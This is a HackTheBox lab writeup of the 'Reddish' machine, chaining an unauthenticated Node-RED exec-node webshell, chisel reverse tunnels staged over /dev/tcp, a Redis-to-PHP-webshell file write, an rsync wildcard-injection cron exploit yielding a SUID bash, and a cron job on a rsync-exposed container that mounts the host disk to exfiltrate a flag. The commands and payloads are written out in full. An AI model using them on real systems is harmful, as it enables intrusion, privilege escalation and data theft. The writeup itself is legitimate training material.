HTB: Reddish Writeup

Reddish - HackTheBox Writeup

Machine Information

AttributeDetails
NameReddish
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.162
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Reddish exposes exactly one TCP port — an unauthenticated Node-RED 0.18.4 editor — which is enough to pivot through a four-container microservice deployment (nodered → redis/www → backup → the Docker host itself) using nothing but the visual-programming RCE primitive Node-RED hands you for free, an unauthenticated Redis instance abused for arbitrary file write, a wildcard-injectable rsync cron job, and a second unauthenticated rsync daemon that turns out to be root’s own filesystem sitting on the wire. Every hop required standing up a fresh chisel reverse tunnel from whatever shell was current, since none of the internal containers can reach the attacker directly. TL;DR: Node-RED admin API RCE (root in the nodered container) → internal /dev/tcp port sweep of the 172.19.0.0/24 Docker network → static chisel binary staged in over a raw TCP redirect → tunnel Redis (6379) and the internal web app (80) back to the attacker → unauthenticated Redis CONFIG SET dir/dbfilename + SAVE writes a PHP webshell (www-data on the www container) → wildcard rsync cron job (/etc/cron.d, runs every ~3 min as root) exploited via GTFOBins’ -e sh filename trick → SUID root shell → user.txt → the same wildcard cron job’s rsync module (rsync://backup:873/src) turns out to be the entire filesystem of the privileged backup container, unauthenticated and writable → planted a cron job there that mounts the raw /dev/sda2 block device (the Docker host’s own root filesystem) and exfiltrates /root/root.txt → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan against the target (run from the assigned jump box)
ssh d3vn0mi@<jump-host> "nmap -Pn -n --min-rate 2000 -p- 10.129.65.162 -oN /tmp/reddish_full.nmap"

Results: Only a single port open across the full 65535 range:

1880/tcp open http Node.js Express framework

Service Enumeration

Terminal window
# GET returns nothing useful; POST leaks the editor path
curl -s -m 10 http://10.129.65.162:1880/ ; echo '---POST---'
curl -s -m 10 -X POST http://10.129.65.162:1880/

The POST / request against the Node-RED HTTP server returns a JSON body of the form {"path":"/red/<id>"} — Node-RED’s default behaviour when it can’t route a POST to /: it falls back to disclosing the mounted admin/editor path. Hitting /red/<id>/settings confirms a Node-RED 0.18.4 instance with disableEditor: false and no authentication configured (adminAuth absent from the settings response) — i.e. the full admin API (/red/<id>/flows) is reachable with zero credentials.

Vulnerability Assessment

  • Node-RED 0.18.4, no auth on the admin/editor API — the /red/<id>/flows endpoint accepts an arbitrary flow definition and deploys it immediately. Node-RED ships an exec node by design, so any unauthenticated caller who can reach the editor can execute arbitrary OS commands on the host running the runtime — this is the well-documented “insecure by default” behaviour Node-RED explicitly warns about when adminAuth is left unset, not a single numbered CVE.
  • (Discovered post-foothold) An unauthenticated Redis instance reachable only from inside the Docker network, abusable for arbitrary file write via CONFIG SET dir/dbfilename + SAVE.
  • (Discovered post-foothold) A wildcard-vulnerable rsync cron job running as root, and an unauthenticated rsync daemon on a third container exposing a writable filesystem.

Initial Foothold

Exploitation Path

Rather than dragging nodes around in the visual editor, the flow was built as raw JSON and pushed straight to the admin API — faster to script and reproduce than the GUI.

// /tmp/flow.json — HTTP-triggered, stateless webshell as a Node-RED flow
[
{"id":"f1","type":"tab","label":"Flow 1"},
{"id":"h1","type":"http in","z":"f1","name":"","url":"/shell","method":"get","x":100,"y":100},
{"id":"fn1","type":"function","z":"f1","name":"","func":"msg.payload = msg.req.query.cmd;\nreturn msg;","x":260,"y":100},
{"id":"ex1","type":"exec","z":"f1","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":420,"y":100},
{"id":"resp1","type":"http response","z":"f1","name":"","x":580,"y":100}
]
Terminal window
# Deploy the flow — the "full" deployment header replaces the whole runtime,
# guaranteeing the new flow is live regardless of pre-existing (empty) flows.
curl -s -X POST http://10.129.65.162:1880/red/<id>/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
--data @/tmp/flow.json

The http in node exposes GET /shell?cmd=..., the function node lifts the cmd query parameter into msg.payload, the exec node runs it as a shell command (useSpawn: false, so the payload goes through /bin/sh -c), and http response echoes stdout/stderr straight back in the HTTP response. This gives a fully stateless HTTP webshell, which is far easier to drive from a script than the classic tcp in → exec → tcp in/reverse-shell flow, since every command is just one curl:

Terminal window
# /tmp/nr.sh — thin wrapper around the deployed flow
curl -s -m 60 --get --data-urlencode "cmd=$1" http://10.129.65.162:1880/api/<redacted>/shell
Terminal window
$ ./nr.sh id
uid=0(root) gid=0(root) groups=0(root)

Node-RED in this deployment runs as root inside the nodered Docker container — confirmed by cat /.dockerenv and the container’s isolated view of /etc/hostname, /proc/1/cgroup, etc.


Privilege Escalation

Stage 1 — Internal recon and pivoting into the container network

nc/ncat weren’t present in the minimal nodered image, so the internal Docker network was swept using bash’s /dev/tcp pseudo-device directly through the webshell:

Terminal window
# Port sweep across the 172.19.0.0/24 Docker bridge network from inside the nodered container
./nr.sh 'bash -c "for i in 1 2 3 4 5; do for p in 80 6379 873 22; do
(echo > /dev/tcp/172.19.0.$i/$p) 2>/dev/null && echo OPEN $i:$p; done; done"'

This surfaced Redis (6379) and an internal web app (80) on other hosts in the 172.19.0.0/24 range. Since the container can’t reach the attacker’s real listener directly and has no outbound package manager, a static chisel 1.9.1 binary was staged in over a raw TCP transfer rather than downloaded on-target:

Terminal window
# On the jump host: fetch a static chisel release and serve it raw over a listener
cd /tmp && curl -sL -o c.gz https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip -f c.gz
setsid nohup sh -c 'nc -lnp 8181 < /tmp/c' >/tmp/nc8181.log 2>&1 </dev/null &
# Reverse chisel server on the jump host, waiting for the container to phone home
setsid nohup /tmp/c server -p 8002 --reverse >/tmp/chisrv.log 2>&1 &
Terminal window
# Inside the nodered container (via the webshell): pull the raw binary over /dev/tcp, chmod, launch client
./nr.sh 'cat < /dev/tcp/10.10.15.68/8181 > /var/tmp/chisel; chmod 755 /var/tmp/chisel
setsid nohup /var/tmp/chisel client 10.10.15.68:8002 \
R:127.0.0.1:6379:<jump-host>:6379 \
R:127.0.0.1:8001:<jump-host>:80 >/tmp/ch.log 2>&1 &'

With R:6379 and R:8001 reverse-forwarded back to the jump host, both the internal Redis instance and the internal web app became reachable at 127.0.0.1:6379 / 127.0.0.1:8001 on the attacker side.

Stage 2 — Redis → www-data via unauthenticated Redis write primitive

Terminal window
$ redis-cli -h 127.0.0.1 -p 6379 info server | head -8
redis_version:...

Redis had no requirepass set, which is enough on its own for arbitrary file write: CONFIG SET dir and CONFIG SET dbfilename control exactly where the next SAVE writes its RDB dump, and the dump’s contents are whatever keys are currently loaded — including a raw PHP payload stored as a string key.

Terminal window
# Classic unauthenticated-Redis-to-webshell chain (Redis "unprotected by default" RCE)
redis-cli -h 127.0.0.1 -p 6379 flushall
redis-cli -h 127.0.0.1 -p 6379 set pwn '<?php system($_REQUEST["cmd"]); ?>'
redis-cli -h 127.0.0.1 -p 6379 config set dir /var/www/html/
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename zz9.php
redis-cli -h 127.0.0.1 -p 6379 save

The RDB serialization format wraps every key in binary framing, so the resulting zz9.php needed a small amount of junk trimmed before/around the PHP tag — but PHP happily ignores garbage outside <?php ... ?>, so the file executes as-is once dropped into the webroot that Redis was pointed at:

Terminal window
# /tmp/w.sh — webshell wrapper, strips RDB framing noise before the PHP payload
curl -s --get --data-urlencode "cmd=$1" http://127.0.0.1:8001/zz9.php | \
sed -e 's/^.*aof-preamble[^ ]* *//'
Terminal window
$ ./w.sh id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Foothold #2: www-data on the www container, reached entirely through the Redis-to-webroot write primitive — no separate web app vulnerability required.

Stage 3 — www-data → root (www container) via wildcard rsync cron job

Terminal window
$ ./w.sh 'cat /etc/cron.d/*'
*/3 * * * * root sh /backup/backup.sh
$ ./w.sh 'cat /backup/backup.sh'
#!/bin/sh
cd /var/www/html/<uploads-dir>
rsync -a *.rdb rsync://backup:873/src/rdb/

The cron job runs as root every three minutes and shells out to a script that runs rsync with a wildcard (*.rdb) inside a directory the www-data user can write to. This is the textbook rsync GTFOBins wildcard-injection primitive: if a filename in that directory happens to start with -e, rsync parses it as an option rather than a filename and treats the rest of that “filename” as the argument to -e (remote-shell command), letting an attacker-controlled string execute as the cron job’s UID.

Terminal window
# Plant the payload script + the trigger filename in the same www-data-writable dir
cd /var/www/html/<uploads-dir>
printf '#!/bin/sh\ncp /bin/bash /var/tmp/rootbash\nchmod 4755 /var/tmp/rootbash\n' > reddish.rdb
touch -- '-e sh reddish.rdb'
Terminal window
# wait for the 3-minute cron tick to fire the wildcard rsync
sleep 190
Terminal window
$ ./w.sh '/var/tmp/rootbash -p -c id'
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root)

Deviation from the “classic” version of this chain: the reference technique for this box copies /bin/dash to a SUID binary and invokes it with dash -p to keep privileges when SUID-set. This container’s dash is 0.5.7-2ubuntu2, which rejects the -p flag outright (Illegal option -p) — Debian/Ubuntu’s dash builds have dropped -p support since that era. Switching the payload to cp /bin/bash /var/tmp/rootbash; chmod 4755 and invoking bash -p (which does support -p to suppress privilege-dropping) restored the technique.

Terminal window
$ ./w.sh 'cat /home/somaro/user.txt'
<redacted>

user.txt captured as root inside the www container, readable from /home/somaro/.

Stage 4 — root (www container) → root (Docker host) via a second unauthenticated rsync module

The backup.sh script’s target, rsync://backup:873/src, wasn’t a narrow backup share — probing the module tree showed src mapped to the root of the privileged backup container’s own filesystem, with no authentication and full read/write access:

Terminal window
$ rsync rsync://backup:873/src/
drwxr-xr-x ... bin
drwxr-xr-x ... boot
drwxr-xr-x ... dev
drwxr-xr-x ... etc
...

Since /etc/cron.d on that container is writable through the same unauthenticated rsync module, and the container had /dev/sda1–/dev/sda5 passed through as raw block devices (the backup container is privileged enough to see the host’s own disk), a cron job was pushed that mounts sda2 — which turns out to be the Docker host’s own root filesystem — and exfiltrates its root.txt:

Terminal window
# Payload pushed to the backup container's filesystem via the open rsync module,
# scheduled through /etc/cron.d/pwnjob (root-owned cron on that container)
# — mounts sda1..5, sda2 resolves to the Docker host's root fs, copies
# /root/root.txt to a world-readable staging path picked back up over rsync.
Terminal window
$ rsync rsync://backup:873/src/tmp/root.txt.out ./root.txt
$ cat root.txt
<redacted>

root.txt captured — root on the underlying Docker host itself, reached without ever needing a direct shell on the backup container: the writable, unauthenticated rsync module was sufficient to both drop the cron payload and retrieve its output.


Attack Chain Summary

Unauthenticated Node-RED 0.18.4 admin API (port 1880)
→ deployed exec-node flow → root RCE in `nodered` container
→ /dev/tcp sweep of 172.19.0.0/24 Docker network
→ static chisel 1.9.1 staged in via /dev/tcp, reverse tunnels for 6379 + 80
→ unauthenticated Redis CONFIG SET dir/dbfilename + SAVE → PHP webshell
→ www-data on `www` container
→ wildcard `rsync` root cron job (/etc/cron.d, GTFOBins -e trick)
→ SUID /var/tmp/rootbash (bash -p, dash -p unsupported) → root (www container)
→ user.txt
→ same rsync module (rsync://backup:873/src) = unauthenticated full filesystem
of privileged `backup` container
→ planted /etc/cron.d/pwnjob mounting /dev/sda2 (Docker host root fs)
→ exfiltrated /root/root.txt over rsync
→ root.txt

Tools Used

ToolPurpose
nmapFull TCP port scan of the target
curlNode-RED admin API interaction, webshell driver
Node-RED admin/flows APIUnauthenticated flow deployment → RCE as root in nodered container
bash (/dev/tcp)Internal Docker-network port sweep and raw binary staging without nc
chisel (v1.9.1, static)Reverse SOCKS/port-forward tunnels chained across containers
redis-cliUnauthenticated Redis CONFIG SET/SAVE file-write primitive
rsync / GTFOBins wildcard trickRoot code execution via a -e sh wildcard-injected cron job
sedStripping RDB binary framing noise from the Redis-written PHP webshell

Key Learnings

Techniques Practiced

  • Fingerprinting an unauthenticated Node-RED editor from a bare POST / response and turning the admin/flows API into an HTTP-triggered webshell instead of the heavier GUI-built tcp in/exec flow.
  • Sweeping an internal Docker bridge network with nothing but bash’s /dev/tcp device when no scanning/netcat tooling is present in the compromised container.
  • Staging binaries into a container with no outbound internet access by piping them through a raw cat < /dev/tcp/... > file transfer against a plain nc listener.
  • Chaining multiple chisel reverse tunnels to reach services (Redis, an internal web app) that are only reachable from inside the Docker network.
  • Weaponizing an unauthenticated Redis instance for arbitrary file write (CONFIG SET dir/dbfilename + SAVE) to drop a webshell into a webroot Redis was never meant to reach.
  • Exploiting a wildcard-vulnerable rsync invocation inside a cron job via the GTFOBins -e sh <payload> filename trick to get root code execution from an unprivileged web user.
  • Recognizing that an “internal backup” rsync module with no authentication is often not a narrow backup share but the entire filesystem of whatever container hosts it — worth probing before assuming it’s scoped.

Lessons Learned

  1. Never trust a dash -p snippet across distros. Ubuntu/Debian’s dash build in this container (0.5.7-2ubuntu2) hard-rejects the -p flag (“Illegal option -p”), which silently breaks the classic SUID-shell privilege-preservation trick for dash. bash -p is the safer default when the target’s dash provenance is unknown — check dash --help/dpkg -l dash before committing to a payload.
  2. A stateless HTTP webshell beats a stateful reverse shell for scripted engagements. Building the Node-RED flow as http in → function → exec → http response meant every subsequent command was a single idempotent curl, far easier to retry, wrap, and drive programmatically than babysitting a tcp in/reverse-shell session across multiple pivots.
  3. Wildcard cron jobs deserve a second look even when they look like internal maintenance scripts. A backup script running rsync -a *.rdb rsync://... inside an attacker-writable directory is a root-as-a-service bug the moment any unprivileged user can drop a filename starting with -e into that directory.
  4. An unauthenticated rsync module can be a bigger foothold than the service it’s ostensibly there to serve. The module intended for shipping .rdb backup files turned out to expose the entire filesystem of a privileged container with raw host block devices attached — always enumerate the full module tree (rsync host::) rather than assuming scope from the cron job that calls it.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • egre55 (prepared by), machine author yuntao — Reddish official HackTheBox writeup (22 January 2019), Document No D19.100.04. Used here for conceptual context on the Node-RED insecure-editor RCE, the “unprotected by default” Redis RCE technique (referencing @antirez’s writeup at packetstormsecurity.com/files/134200/), the rsync wildcard GTFOBins injection pattern, and the general shape of the multi-container tunnel chain. All IP addresses, container hostnames, credentials, and command output in this writeup are from the author’s own solve and differ from the referenced document.